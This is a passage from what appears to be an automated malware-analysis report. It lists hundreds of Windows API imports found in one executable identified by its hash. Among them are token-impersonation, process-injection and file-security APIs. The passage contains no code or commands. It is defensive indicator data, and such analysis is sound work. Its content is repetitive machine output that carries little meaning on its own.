"abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetTickCount"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetFilePointer"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FreeResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CloseHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetTempPathA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FormatMessageA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ResetEvent"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FreeLibrary"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "lstrcmpA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateThread"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateEventA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MulDiv"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateProcessA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GlobalLock"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetLastError"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LockResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WriteFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindResourceA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetProcAddress"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetShortPathNameA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GlobalAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SizeofResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetEvent"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetVersion"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GlobalUnlock"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateMutexA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadStringA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetForegroundWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SendMessageA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CharNextA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSystemMetrics"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ShowWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CallWindowProcA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MessageBeep"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDesktopWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetWindowLongA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetWindowPos"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MessageBoxA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "PeekMessageA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetWindowTextA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EnableWindow"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ReleaseDC"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetWindowRect"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDC"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DispatchMessageA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetWindowLongA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ExitWindowsEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CharPrevA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CharUpperA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VerQueryValueA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CheckTokenMembership"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SeShutdownPrivilege"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HeapSetInformation"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DecryptFileA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SHBrowseForFolder"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateFontA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VirtualFree"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SysFreeString"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ShellExecuteA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "lstrcpy"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LookupPrivilegeValueW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileSecurityW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetFileSecurityW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegOpenKeyExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegQueryValueExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindFirstFileW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ResumeThread"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GlobalMemoryStatus"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetVersionExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "UnmapViewOfFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OpenEventW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MoveFileW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CompareFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileSize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DeviceIoControl"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetStdHandle"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InterlockedIncrement"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FormatMessageW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetOEMCP"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetProcessAffinityMask"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "MapViewOfFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetCurrentDirectoryW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetThreadAffinityMask"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetProcessTimes"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetLogicalDriveStringsW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FindNextFileW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetFileApisToOEM"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RemoveDirectoryW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateHardLinkW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetLastError"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "OpenFileMappingW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateSemaphoreW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateEventW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetTempPathW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetProcessAffinityMask"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DeleteFileW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FileTimeToDosDateTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FileTimeToLocalFileTime"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateFileW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetConsoleMode"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ReleaseSemaphore"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VariantCopy"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VariantClear"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SysAllocStringLen"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SysAllocString"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SysStringLen"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CharUpperW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CharPrevExA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DuplicateTokenEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegGetValueA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "LookupAccountNameA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSidSubAuthorityCount"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetUserNameA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSidSubAuthority"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegEnumValueA"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RegQueryInfoKeyW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RevertToSelf"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "ImpersonateLoggedOnUser"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetSidIdentifierAuthority"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateCompatibleBitmap"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "DeleteObject"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SelectObject"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "BitBlt"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "CreateCompatibleDC"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "Wow64RevertWow64FsRedirection"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "EncodePointer"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFileSizeEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FreeLibraryWhenCallbackReturns"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "VirtualAllocEx"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "IsValidLocale"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RaiseException"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "HeapSize"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "InitializeConditionVariable"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "RtlUnwind"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetThreadContext"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SleepConditionVariableCS"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "Wow64DisableWow64FsRedirection"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "WakeConditionVariable"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetHandleInformation"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "TlsFree"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API (Indicator: "GetComputerNameExW"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found 